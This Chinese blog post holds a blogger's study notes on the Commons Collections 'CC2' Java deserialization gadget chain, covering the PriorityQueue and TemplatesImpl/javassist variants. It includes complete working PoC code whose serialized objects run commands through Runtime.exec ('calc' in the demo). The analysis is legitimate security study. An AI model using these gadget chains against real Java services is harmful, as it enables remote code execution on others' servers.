Java 反序列化漏洞-Apache Commons Collections2-TemplatesImpl攻击链

最新推荐文章于 2023-08-23 21:45:00 发布
最新推荐文章于 2023-08-23 21:45:00 发布
阅读量628 收藏
点赞数
分类专栏： Java web学习 文章标签： java apache 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cjdgg/article/details/123138623
版权

Java 反序列化漏洞-Apache Commons Collections2

前言

前面分析了CC1，今天继续学习，分析下CC2。在 ysoserial中 CC2 是用的 PriorityQueue类 作为反序列化的入口,那我就从这里开始分析吧。

漏洞挖掘

PriorityQueue

PriorityQueue 优先级队列是基于优先级堆（a priority heap）的一种特殊队列，他给每个元素定义“优先级”，这样取出数据的时候会按照优先级来取。默认情况下，优先级队列会根据自然顺序对元素进行排序。

因此，放入PriorityQueue的元素，必须实现 Comparable 接口，PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口，PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

PriorityQueue.readObject()

在这里插入图片描述
PriorityQueue.readObject()方法调用了heapify()方法，我们继续跟入

PriorityQueue.heapify()

在这里插入图片描述
heapify()调用了siftDown()方法，继续跟入。

PriorityQueue.siftDown()

在这里插入图片描述
当 comparator 属性不为空时，调用 siftDownUsingComparator() 方法

PriorityQueue.siftDownUsingComparator()

在这里插入图片描述
在 siftDownUsingComparator() 方法中，会调用 comparator 的 compare() 方法来进行优先级的比较和排序。

接下来我们看看在哪实现了compare()方法吧,
在这里插入图片描述
这里我们选择/org/apache/commons/collections4/comparators/TransformingComparator.java

TransformingComparator.compare()

在这里插入图片描述
在这里我们看到了熟悉的this.transformer.transform，CC1之前用的也是transformer.transform()，那我们只要把之前挖的链拿来这里用就行了,让this.transformer=chain即可

构造利用链

我们先看一眼TransformingComparator类的this.transformer是否可控
在这里插入图片描述
从这不难看出，我们只要直接传入即可。

然后再看到siftDown()函数这里
在这里插入图片描述
我们需要comparator 不为空，而且这里 comparator 可控，可由PriorityQueue 的构造方法传入

最后一个需要注意的点是heapify()函数这里
在这里插入图片描述
这里需要(size >>> 1) - 1 >=0，也就是size>=2

跟据上面的总结我们很容易写出利用链代码，chain的挖掘思路可以看看CC1

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        TransformingComparator transformingComparator = new TransformingComparator(chain);

        PriorityQueue queue = new PriorityQueue(2, transformingComparator);
        queue.add(1);
        queue.add(2);

        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

利用链的构造与改进

上面的代码虽然能弹出计算器，但我之前调试的时候在前面用到的函数那里都下了断点，但是却都没有触发断点，包括readobject()函数，debug直接停在了compare()函数那里，这就说明他没有按照我们设想的利用链去走，没有触发反序列化，这是我们所不允许的。
在这里插入图片描述
根据左下角的函数调用栈，我们可以看到它调用的几个函数并不是我们所设想的
在这里插入图片描述
compare执行到return后程序直接停止了，所以我们后面的反序列化并没有执行。看大佬文章说原因是由于 ProcessImpl 没有实现Comparable而报错，程序终止，就没有执行后面生成序列化数据的代码。这是我们所不允许的，所以我们要看看调用栈里的其他函数有没有办法不让它走到这里

在这里插入图片描述
这里我们选择了siftUp函数，如果让 comparator 为null，他就会进入到 siftUpComparable，这样就不会出错了。但通过前面的分析我们知道了，我们反序列化的利用链是要让 comparator 不为null，那我们应该如何解决这个问题呢？这里想到了反射，在add 2个元素结束之后，将 queue对象中的 comparator设置成 transformingComparator，这里就需要用到反射了。

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        TransformingComparator transformingComparator = new TransformingComparator(chain);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue,transformingComparator);

        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

在这里插入图片描述
调用链为

PriorityQueue.readObject()
    TransformingComparator.compare()
        *ChainedTransformer.transform()
                InvokerTransformer.transform()

这里额外说一点，上面这种方法是让compare()方法里的this.transformer=chain来触发，我们换种思路再写个利用方式，我们让this.transformer=InvokerTransformer这么来触发
在这里插入图片描述

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
        Field iArgs = transformer.getClass().getDeclaredField("iArgs");
        iMethodName.setAccessible(true);
        iParamTypes.setAccessible(true);
        iArgs.setAccessible(true);
        iMethodName.set(transformer,"transform");
        iParamTypes.set(transformer,new Class[]{Object.class});
        iArgs.set(transformer,new Object[]{null});

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{chain,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(ysoserial 中的 CC2)

这条利用链我在Java 反序列化漏洞–fastjson-1.2.24–TemplatesImpl攻击链分析过了，大家可以直接看那篇文章中POC构造那部分说明了使用要求
在这里插入图片描述
在这里插入图片描述

所以这里我们需要将恶意代码写到类的无参构造函数或static代码块中转换为字节码赋值给_bytecodes

这里我们用到了javassist，javassist是Java的一个库，可以修改字节码。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class Javassist_test {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块，并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }

}

根据前面分析，我们只需要通过反射反射将恶意的 TemplatesImpl 对象写入到 PriorityQueue 的 queue 中，也就是用这个恶意类代替上面的chain。然后找到一个位置调用newTransformer就能完成整个攻击。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;



public class CC2_final {
    public static void main(String[] args) throws Exception{

        TemplatesImpl template = template();

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator =  new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");

        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{template,2});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
    public static TemplatesImpl template() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        return templates;
    }
}

这个和上面的第二种方法有点像，调用链如下所示

PriorityQueue.readObject()
    TransformingComparator.compare()
                InvokerTransformer.transform()
                    TemplatesImpl.newTransformer()

总结

CC2的构造思路和CC1还是有点像的，CC2利用 PriorityQueue 在反序列化后会对队列进行优先级排序的特点，为其指定 TransformingComparator 排序方法，并在其中为其添加 Transforer，与 CC1 类似，主要的触发位置还是 InvokerTransformer。
这次学习记录了CC2的两种利用方式，ysoserial 中的 CC2需要额外的知识javassist来进行构造，javassist是一个不错的知识点，后续可以继续学习。

参考
https://su18.org/post/ysoserial-su18-2/#commonscollections2
https://www.cnblogs.com/depycode/p/13583102.html

lmonstergg
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Java反序列化漏洞利用工具的实现共5页.pdf.zip
11-23
2. **使用安全的反序列化库**：如使用Apache Commons Lang的`SerializationUtils`，它提供了一些安全措施，防止了已知的反序列化攻击。 3. **代码审查**：定期审查代码，确保所有反序列化操作都经过充分的验证和过滤...
Fastjson 1.2.24远程代码执行漏洞（com.sun.rowset.JdbcRowSetImpl）
further_eye的博客
11-16 3984
漏洞是利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大的影响。
Java 反序列化漏洞-Apache Commons Collections3
cjdgg的博客
03-02 4664
Java 反序列化漏洞-Apache Commons Collections3前言javassist+TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 前言 之前已经学了CC1和CC2，接下来继续学习CC3。在CC2中我们用到了javassist修改字节码并配合TemplatesImpl攻击链来使用，因此我们很自然而然的想到，如果我们直接用javassist修改字节码并配合TemplatesImpl攻击链使用，就无需用I
利用TemplatesImpl加载字节码
Thunderclap的博客
02-06 391
调用了 TemplatesImpl#newTransformer() 并且它也是 public 类型的，如下也成功触发。TemplatesImpl 类中已经没有调用 getTransletClasses() 的方法了，而 getTransletInstance() 方法在。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类。Java中默认情况下，如果一个。方法中被调用了，所以构造如下链，P牛用的就是如下的链。
Java代码审计——Fastjson TemplatesImpl调用链
王嘟嘟的博客
12-09 2617
0x00 前言 反序列化总纲 除开jdbc调用链，还有一个TemplatesImpl的调用链，这个在CC链中是出现过的。可以参考：调用链 主要的要点在满以下三个变量 _bytecodes _name _tfactory 还有就是调用newTransformer的方法 0x01 调用链 先上poc： final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ParserConfig conf
如何使用 IDEA 调试分析 Java 反序列化漏洞
qq_28205153的博客
02-20 2531
IDEA 是 Java 的集成开发环境，也是调试分析 Java 相关漏洞的神器，这篇文章将会介绍如何使用 IDEA 对 Java 反序列化漏洞进行分析，并以 Fastjson 反序列化漏洞的调试分析作为实战例子。 本次实验需要具备 Java 语言的基础，特别是反射方面的知识。 ​ 环境搭建 进行调试前，需要安装必要的环境 JDK8 IDEA 在下面的地址下载 JDK 8 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloa
commons-collections4-4.1
11-01
总的来说，Apache Commons Collections 4.1是针对Java反序列化漏洞的重要更新，它提升了库的安全性，并可能包含其他改进。对于任何使用Apache Commons Collections的Java应用来说，升级到这个版本都是必要的，以保护...
weblogic10.3.6补丁（java反序列化漏洞更新步骤）.docx
09-10
近日，Apache Commons Collections 等公共库被发现存在 Java 反序列化漏洞，WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 等主流中间件和框架均受到影响，攻击者利用该漏洞可以远程执行操作系统命令，入侵应用系统...
commons-collections-3.2.2-
11-01
这个"commons-collections-3.2.2-"版本是该库的一个特定发行版，主要用于解决WebLogic服务器上的反序列化漏洞问题。 在Java编程中，集合框架是处理对象数组的重要组成部分。Apache Commons Collections扩展了Java...
信息安全技术：Java反序列化漏洞.pptx
11-01
在2015年1月28日，Gabriel Lawrence和Chris Frohoff在AppSecCali会议上展示了如何利用Apache Commons Collections库来实现Java反序列化漏洞的任意代码执行。然而，这个发现并未立即引起广泛注意，直到同年11月，...
Java反序列化和JNDI注入漏洞案例实战
悦分享
08-04 958
CORBA全称（Common ObjectRequest Broker Architecture）也就是公共对象请求代理体系结构，是OMG（对象管理组织，一个非盈利性的计算机行业标准协会）制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信，曾是分布式计算的主流技术。CORBA标准主要分为三个部分，IDL（接口语言）、ORB（对象请求代理）、IIOP（ORB之间的操作协议）。其结构主要分为三部分：naming service、client side、servant side。...
RMI-攻击方式总结
最新发布
Karka_的博客
08-23 206
RMI，是Remote MethodInvocation（远程方法调用）的缩写，即在一个JVM中java程序调用在另一个远程JVM中运行的java程序，这个远程JVM既可以在同一台实体机上，也可以在不同的实体机上，两者之间通过网络进行通信。javaRMI封装了远程调用的实现细节，进行简单的配置之后，就可以如同调用本地方法一样，比较透明地调用远端方法。RMI包括以下三个部分：Registry:提供服务注册与服务获取。
TemplatesImpl利用链与Fastjson注入内存马
weixin_42508548的博客
01-31 1021
TemplatesImpl利用链是一个非常重要的东西，要知道，CC链可以用它，CB链也用它，注入内存马还是用它。因为它可以加载java字节码并实例化。ClassLoader，类加载器，是JVM执行类加载机制的前提，其主要任务为根据一个类的全限定名来读取此类的二进制字节流到JVM内部，然后转换为一个与目标类对应的java.lang.Class对象实例。文章第四部分，了解了实例化类的时候，会自动执行static{}代码块，{}代码块，无参构造方法那么如何注入内存马呢，也是通过newInstance实现。
【Java代码审计】Fastjson1.2.24漏洞分析
网络安全从业者的学习笔记
04-03 329
Fastjson是由阿里巴巴研发的一个java库，用来实现Java对象转换JSON格式以及JSON字符串转换为对象。 在Fastjson
java安全学习笔记--fastjson1.2.24反序列化漏洞两种利用链分析（TemplatesImpl,JdbcRowSetImpl）
m0_64685672的博客
02-03 2795
测试环境 jdk1.7 fastjson 1.2.24 Fastjson简介及用法 Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，也可以将 JSON 字符串转换为 Java 对象，常用在前后端分离的项目中，用来处理前端传来的json数据，JSON字符串和Java对象的转换就是基于序列化和反序列化来实现的。 演示代码： package com.test; import com.alibaba.fastjson.JSON;
fastjson反序列化TemplatesImpl
weixin_30883311的博客
12-28 422
环境参考第一个链接，直接用IDEA打开 编译EvilObject.java成EvilObject.class 先看poc，其中NASTY_CLASS为TemplatesImpl类，evilCode是EvilObject.class base64编码: final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fast...
Java 反序列化漏洞--fastjson-1.2.24--TemplatesImpl攻击链
cjdgg的博客
02-24 1213
Java-fastjson-1.2.24反序列化漏洞前置知识漏洞分析getTransletInstance()newTransformer()getOutputProperties() 前置知识 fastjson 是阿里巴巴的开源 JSON 解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。 这里帮运一下素十八大佬总结的fastjson的功能要点 *1.使用 JSON.parse(jsonString)
Java安全--CC3
qq_64201116的博客
12-11 993
如图所示的defineClass在寻找用法时有一个com.sun.org.apache.xalan.internal.xsltc.trax包下面调用了这个重载方法，并且类型的default。这里判断完byte之后对_tfactory进行了方法的调用，所以这里需要对_tfactory进行赋值，否则这里会报空指针报错。是一个transient类型，值为空的东西。发现报错了，还是报了空指针的错误。我们调试发现报错的点在_auxClasses调用put这里，因为_auxClasses为空，所以报了空指针错误。
Java代码审计——Commons Collections2 PriorityQueue
王嘟嘟的博客
11-30 930
0x00 前言 反序列化总纲 PriorityQueue是支持在1.8版本使用的调用链，还是来跟一下整个的流程。 0x01 PriorityQueue PriorityQueue实际上是的主要作用是用来排序的，所以很多函数方法都需要大于Queue大于二来进行触发。 PriorityQueue是调用链的最后一个部分，实际上触发的位置在readObject的位置。 首先来看readObject，调用了heapify 接着看heapify，在这个方法中调用了siftDown方法 接着来看siftDown， 如
Java与Jackson反序列化漏洞深度解析
"深入解析JAVA及Jackson反序列化漏洞" 本文主要探讨了Java和Jackson库的反序列化原理，以及相关的安全问题。Java反序列化是一个关键的编程概念，它允许将对象的状态转换为字节流，以便存储或在网络中传输，然后在...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值